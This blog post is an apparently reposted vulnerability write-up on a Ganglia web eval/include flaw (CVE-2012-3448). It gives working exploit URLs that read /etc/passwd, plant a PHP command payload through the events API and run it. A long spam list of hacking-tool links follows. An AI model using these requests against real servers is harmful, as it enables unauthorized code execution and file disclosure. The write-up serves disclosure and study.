Tuesday, August 25, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Related links


  1. Underground Hacker Sites
  2. Pentest Tools Alternative
  3. Hack Tool Apk
  4. Hacking Tools Pc
  5. Hacking Tools For Windows Free Download
  6. How To Install Pentest Tools In Ubuntu
  7. Hacking Apps
  8. Pentest Tools Open Source
  9. Hacker Tools For Pc
  10. Best Hacking Tools 2019
  11. Pentest Automation Tools
  12. Top Pentest Tools
  13. Hacking Tools For Mac
  14. Hacking Apps
  15. Pentest Tools Github
  16. Hacker
  17. Hacker Tools For Ios
  18. Pentest Tools Open Source
  19. Hak5 Tools
  20. Hacker Tools Github
  21. Hacking Tools Name
  22. Hacking Tools Windows 10
  23. Github Hacking Tools
  24. Hacker Tools Software
  25. Hacker Search Tools
  26. Pentest Tools Find Subdomains
  27. Hacker Tools For Mac
  28. World No 1 Hacker Software
  29. Hacker Tools Free Download
  30. Computer Hacker
  31. Nsa Hack Tools
  32. Wifi Hacker Tools For Windows
  33. Hack Tools
  34. Hacking Tools Hardware
  35. Hack Tools 2019
  36. Hacking Tools And Software
  37. Hacker Tools Hardware
  38. How To Hack
  39. Pentest Tools Website
  40. Hacker Tools Online
  41. Computer Hacker
  42. Hacking Tools 2019
  43. Hacker Tools List
  44. Pentest Tools Free
  45. Wifi Hacker Tools For Windows
  46. Hacker Tools Free Download
  47. Hacks And Tools
  48. Hacking Tools Kit
  49. Hack Tool Apk
  50. Hackers Toolbox
  51. Best Hacking Tools 2019
  52. Hack Website Online Tool
  53. Game Hacking
  54. Hacking Tools Mac
  55. Hack Tools Download
  56. Hacker Search Tools
  57. Nsa Hack Tools
  58. Pentest Tools Windows
  59. Github Hacking Tools
  60. Hacking Tools Kit
  61. Hacker Hardware Tools
  62. World No 1 Hacker Software
  63. Hacking Tools For Windows 7
  64. Hacking App
  65. Termux Hacking Tools 2019
  66. Hacking Tools Github
  67. Hack Tools
  68. Hacker Tools Free Download
  69. Hacking Tools And Software
  70. Pentest Tools Nmap
  71. Hacking Tools Usb
  72. Hacker Tools Apk
  73. Hacking Apps
  74. Hacking Tools For Kali Linux
  75. Hack Tools Mac
  76. Beginner Hacker Tools
  77. Hacker Tools Free Download
  78. Hacking Tools For Windows
  79. Pentest Reporting Tools
  80. Best Pentesting Tools 2018
  81. Game Hacking
  82. Hacker Hardware Tools
  83. Hacking Tools 2020
  84. Hack Tool Apk
  85. Free Pentest Tools For Windows
  86. Hackrf Tools
  87. Pentest Automation Tools
  88. Hacker Tools Apk
  89. Hacking Tools 2020
  90. Hacker Tool Kit
  91. Hack And Tools
  92. Hacker Tools Github
  93. Hak5 Tools
  94. Pentest Tools Review
  95. Hacker Tools Apk Download
  96. Hack Tools Github
  97. Hacking Tools Usb
  98. How To Install Pentest Tools In Ubuntu
  99. Pentest Tools List
  100. Hacker Tools 2020
  101. Hack Tools Github
  102. Hack Tools For Mac
  103. Install Pentest Tools Ubuntu
  104. Best Hacking Tools 2019
  105. Hacker Tools Windows
  106. Install Pentest Tools Ubuntu
  107. Pentest Tools For Ubuntu
  108. Pentest Tools Free
  109. Free Pentest Tools For Windows
  110. Hack Tools For Games
  111. Pentest Tools Linux
  112. Hack App
  113. Pentest Tools Windows
  114. Hacker Tools Apk Download
  115. Hacker Tools Online
  116. Tools For Hacker
  117. Pentest Tools Linux
  118. Pentest Tools Alternative
  119. Hacking Tools And Software
  120. Pentest Tools Free
  121. Hacker Tools For Mac
  122. Hacker Tools For Windows

No comments:

Post a Comment